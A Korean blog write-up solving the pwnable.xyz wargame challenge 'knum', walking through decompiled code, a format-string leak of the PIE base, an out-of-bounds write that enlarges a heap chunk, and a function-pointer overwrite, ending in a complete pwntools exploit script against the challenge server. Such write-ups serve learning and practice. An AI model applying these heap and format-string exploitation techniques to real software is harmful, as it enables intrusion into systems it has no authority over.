Pwnstar

pwnable.xyz knum 본문

Wargame/pwnable.xyz

pwnable.xyz knum

포너블처돌이 2020. 12. 15. 15:32

이전 문제보다 더 어렵고 복잡한 문제였다....막히는 부분 중간중간 라업을 좀 참고하면서 풀었다.

모든 보호기법이 다 걸려있음.

함수 이름들을 내가 다 임의로 붙여줘서 참고하시길 바란다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setup();
  init_game();
  print_explain();
  play((const char *)a1);
  return 0LL;
}

메인함수는 별거 없고 play부터 시작한다. play함수를 보기 전에 init_game함수를 보자

init_game

__int64 init_game()
{
  _DWORD *v0; // rax
  _QWORD *v1; // rax
  __int64 result; // rax

  qword_203228 = malloc(160uLL);
  reset_highscore();
  v0 = malloc(40uLL);
  qword_203208 = (__int64)v0;
  v0[5] = 0;
  *(_DWORD *)(qword_203208 + 24) = 0;
  *(_QWORD *)(qword_203208 + 32) = show_round;
  qword_203220 = malloc(0xC8uLL);
  memset(qword_203220, 0, 0xC8uLL);
  v1 = qword_203220;
  *(_QWORD *)qword_203220 = ' yalP .1';
  v1[1] = '2\nemag a';
  v1[2] = 'h wohS .';
  v1[3] = '3\nerocsi';
  v1[4] = ' teseR .';
  v1[5] = '\nerocsih';
  v1[6] = ' porD .4';
  v1[7] = 'ton a em';
  v1[8] = 'ixE .5\ne';
  *((_WORD *)v1 + 36) = '\nt';
  *((_BYTE *)v1 + 74) = 0;
  result = qword_203208;
  *(_QWORD *)qword_203208 = '0.v MUNK';
  *(_WORD *)(result + 8) = '\n1';
  *(_BYTE *)(result + 10) = 0;
  return result;
}

먼저 reset_highscore함수를 호출해준다.

pie_base + 0x203228의 위치에 160만큼 할당한 주소를 넘겨주고, pie_base + 0x203208의 위치에는 40만큼 할당한 주소를 넣어준다. 이 주소 + 32의 위치에 show_round라는 함수의 주소를 넣어주는데, 이 함수의 주소를 덮어주면 될 것 같은 느낌이 든다.

pie_base + 0x203220의 위치에는 200바이트만큼 할당을 받고, 메뉴에 해당하는 문자열들을 저장한다.

void *__ptr32 *__fastcall play(const char *a1)
{
  void *__ptr32 *result; // rax

  while ( 1 )
  {
    print_menu();
    getchar();
    getchar();
    result = off_2020;
    switch ( (unsigned int)off_2020 )
    {
      case '1':
        play_game();
        break;
      case '2':
        show_highscore();
        break;
      case '3':
        reset_highscore();
        break;
      case '4':
        drop_note();
        break;
      case '5':
        return result;
      default:
        puts("Invalid option...");
        break;
    }
  }
}

익스하기 위해서 모든 메뉴가 다 사용된다 이런 문제는 또 처음인 것 같다.

play_game

unsigned __int64 play_game()
{
  __int64 v0; // rdx
  __int64 v1; // rdx
  unsigned int v3; // [rsp+4h] [rbp-1Ch]
  unsigned int v4; // [rsp+8h] [rbp-18h]
  unsigned int v5; // [rsp+Ch] [rbp-14h]
  int v6; // [rsp+10h] [rbp-10h]
  int v7; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v6 = 1;
  init_count();
  while ( 1 )
  {
    v3 = 0;
    v4 = 0;
    v5 = 0;
    (*(void (**)(void))(qword_203208 + 32))();
    while ( !v3 && !v4 || *((_BYTE *)qword_203228 + 16 * v4 + v3) )
    {
      v0 = *(unsigned int *)(qword_203208 + 0x1C);
      __printf_chk(1LL, "Player %d - Enter your move (invalid input to end game)\n");
      __printf_chk(1LL, "- Enter target field (x y): ");
      if ( (unsigned int)__isoc99_scanf("%d %d", &v3, &v4) != 2 )
      {
        v6 = 0;
        break;
      }
    }
    if ( !v6 )
      break;
    if ( v3 > 0x10 || v4 > 0xA )
    {
      puts("Invalid move...");
    }
    else
    {
      while ( !v5 || v5 > 0xFF )
      {
        __printf_chk(1LL, "- Enter the value you want to put there (< 255): ");
        __isoc99_scanf("%d", &v5, v1);
      }
      *((_BYTE *)qword_203228 + 16 * (10 - v4) + v3 - 1) = v5;
      v7 = calc_score();
      if ( v7 > 0 )
      {
        __printf_chk(1LL, "You scored %d points!\n");
        *(_DWORD *)(qword_203208 + 20) += v7;
      }
    }
    ++*(_DWORD *)(qword_203208 + 16);
  }
  search_rank(*(_DWORD *)(qword_203208 + 20));
  return __readfsqword(0x28u) ^ v8;
}

원하는 곳에 값을 써 넣을 수 있는 함수이다. 처음엔 이 함수를 이용해서 주소를 써 넣는 방법을 생각했었는데, 써 넣을 곳의 다음 주소가 비어있지 않으면 안되는 조건이 있어서 불가능했다. 

이런 식으로 전부 할당되면 heap공간의 메모리 구조는 다음과 같이 구성된다. 캡처해서 올리려고 했는데, 사이즈가 워낙 커서 그림으로 그려보자면

이런 구조가 형성된다. play_game함수에서 y에 0을 입력할 수 있는 취약점 때문에, 위치를 벗어난 곳에 원하는 값을 쓸 수 있는데, 이걸로 초기화된 랭크가 들어가는 곳의 size 값을 조절할 수 있다.

그러면 size 값이 0x7b1 -> 0x8b1로 바뀐다.

reset_highscore

char *reset_highscore()
{
  if ( ptr )
    free(ptr);
  ptr = malloc(0x7A8uLL);
  get_hall_of_fame(0, "Kileak", 1000, "You cannot beat me in my own game, can you? :P");
  get_hall_of_fame(1, "vakzz", 999, "Expected a kernel pwn here :(");
  get_hall_of_fame(2, "uafio", 998, "My knum senses are tingling...");
  get_hall_of_fame(3, "grazfather", 997, "I hope you used gef to debug this shitty piece of software!");
  get_hall_of_fame(4, "rh0gue", 997, "I eat kbbq");
  get_hall_of_fame(5, "corb3nik", 996, "Where's my putine???");
  get_hall_of_fame(6, "reznok", 995, "Did anyone find the web interface by now?");
  get_hall_of_fame(7, "zer0", 3, "Will be a draw...");
  get_hall_of_fame(8, "Tuan Linh", 2, "how can I delete my message here???");
  return get_hall_of_fame(
           9,
           "zophike1",
           1,
           "No time to play this game, have to do pwn2own and some kernel pwnz instead...");
}

3번 메뉴 reset_highscore에서 free(ptr)이 실행되면

랭크가 들어가는 곳만 원래 free가 되어야 하는데, 아래에 explain과 menu의 부분까지 전부 free시킬 수 있다. 그리고 앞서 init_game함수에서 show_round함수의 주소가 들어간 부분은 explain + 0x20에 위치해 있다. 

이 explain에 값을 써 넣을 수 있는 방법은 play_game을 통해 score가 1 이상이 되면 name과 remark를 입력할 수 있는 함수를 이용하는 것이다.

void __fastcall sub_119E(int a1)
{
  int i; // [rsp+1Ch] [rbp-14h]
  void *s; // [rsp+20h] [rbp-10h]
  char *v3; // [rsp+28h] [rbp-8h]

  s = malloc(0x40uLL);
  v3 = (char *)malloc(0x80uLL);
  memset(s, 0, 64uLL);
  memset(v3, 0, 128uLL);
  getchar();
  getchar();
  __printf_chk(1LL, "Enter your name (max 63 chars) : ");
  fgets((char *)s, 64, stdin);
  __printf_chk(1LL, "Enter a remark (max 127 chars) : ");
  fgets(v3, 128, stdin);
  if ( *((_BYTE *)s + strlen((const char *)s) - 1) == 10 )
    *((_BYTE *)s + strlen((const char *)s) - 1) = 0;
  if ( v3[strlen(v3) - 1] == 10 )
    v3[strlen(v3) - 1] = 0;
  for ( i = 0; i <= 9; ++i )
  {
    if ( a1 > *((_DWORD *)ptr + 49 * i + 16) )
    {
      get_hall_of_fame(i, (const char *)s, a1, v3);
      break;
    }
  }
  free(v3);
  free(s);
}

이름을 입력받는 곳을 0x40만큼 할당해주는데, 이 부분이 할당될 때 explain부분이 할당되게 할 수 있다.


익스 시나리오를 설명하기 전에 하나 더 설명할 부분이 있는데, show_highscore의 부분을 살펴보자.

int sub_132A()
{
  __int64 v0; // r8
  signed int i; // [rsp+Ch] [rbp-4h]

  putchar(10);
  puts("Hall of fame - All time best knum players");
  puts("#################################################################");
  for ( i = 0; i <= 9; ++i )
  {
    v0 = *((unsigned int *)ptr + 49 * i + 16);
    __printf_chk(1LL, "%d. %s - %d\n\t");
    __printf_chk(1LL, (char *)ptr + 196 * i + 68);
    putchar(10);
  }
  puts("#################################################################");
  return putchar(10);
}

remark를 출력해주는 부분에 format string이 없다 때문에 fsb가 터지는데, 이를 이용해서 pie_base의 주소를 구할 수 있다.


exploit scenario

  1. score를 2로 만들때까지 play함수를 반복한 후 remark를 입력하는 부분에 %p를 입력하고 show_highscore를 통해 win함수의 주소를 구한다.
  2. 다시 play_game함수에서 x에 10, y에 0, 입력값은 8로 주어 0x7b1 -> 0x8b1로 만들어준다.
  3. reset_highscore함수로 free를 진행해서 explain과 menu부분까지 free를 진행한다.
    1. 여기서 play_game을 진행해서 explain+0x20의 위치에 win함수의 값을 넣어주기 전에 한 가지 더 짚고 넘어가자
    2. 처음 win함수의 주소를 알아내기 위해서 name과 remark를 입력할 때 이 곳의 주소를 또 malloc으로 할당해주고, 이후 free를 진행한다.
    3. 이때문에 바로 name을 입력하는 과정으로 뛰게 되면 기존에 사용되던 공간에 name을 입력하게 되므로 4번 drop_note함수를 이용해서 먼저 name을 입력하는데에 사용되었던 곳을 채워주어야 explain에 값을 써 넣을 수 있다.
  4. play_game함수를 다시 스코어가 2 이상이 되게 반복한 후 name을 입력하는 부분에 dummy*32 + win함수의 주소를 입력해준다.

 

ex.py

from pwn import*

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30043)

def play(x, y, num):
    #p.sendlineafter("5. Exit\n", "1")
    p.sendlineafter("(x y): ", str(x) + " " + str(y))
    p.sendlineafter("(< 255): ", str(num))


p.sendlineafter("5. Exit\n", "1")
for j in range(0, 2): 
    for i in range(1, 6):
        play(i, 10, 200)

p.sendlineafter("(x y): ", "a")

p.sendafter("63 chars) : ", "A"*63)
p.sendlineafter("127 chars) : " , "%p %p %p %p BBB%p")

p.sendlineafter("5. Exit\n", "2")

p.recvuntil("BBB")
pie_base = int(p.recv(14), 16) - 0xb80
log.info(hex(pie_base))
win = pie_base + 0x00000000000019FE

#setting chunk    
p.sendlineafter("5. Exit\n", "1")
play(10, 0, 8)
p.sendlineafter("(x y): ", "a")
p.sendlineafter("5. Exit\n", "3")

p.sendlineafter("5. Exit\n", "4")
p.sendlineafter(": ", "A"*8)

p.sendlineafter("5. Exit\n", "1")


for j in range(0, 2):
    for i in range(1, 6):
        play(i, 10, 200)

p.sendlineafter("(x y): ", "a")

p.sendlineafter("63 chars) : ", "A"*32 + p64(win))
p.sendlineafter("127 chars) : " , "B"*126)

p.sendline( "1")

p.interactive()

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz fishing  (0) 2020.12.19
pwnable.xyz babyvm  (0) 2020.12.17
pwnable.xyz pve  (0) 2020.12.15
pwnable.xyz note v3  (0) 2020.12.14
pwnable.xyz world  (0) 2020.12.12
Comments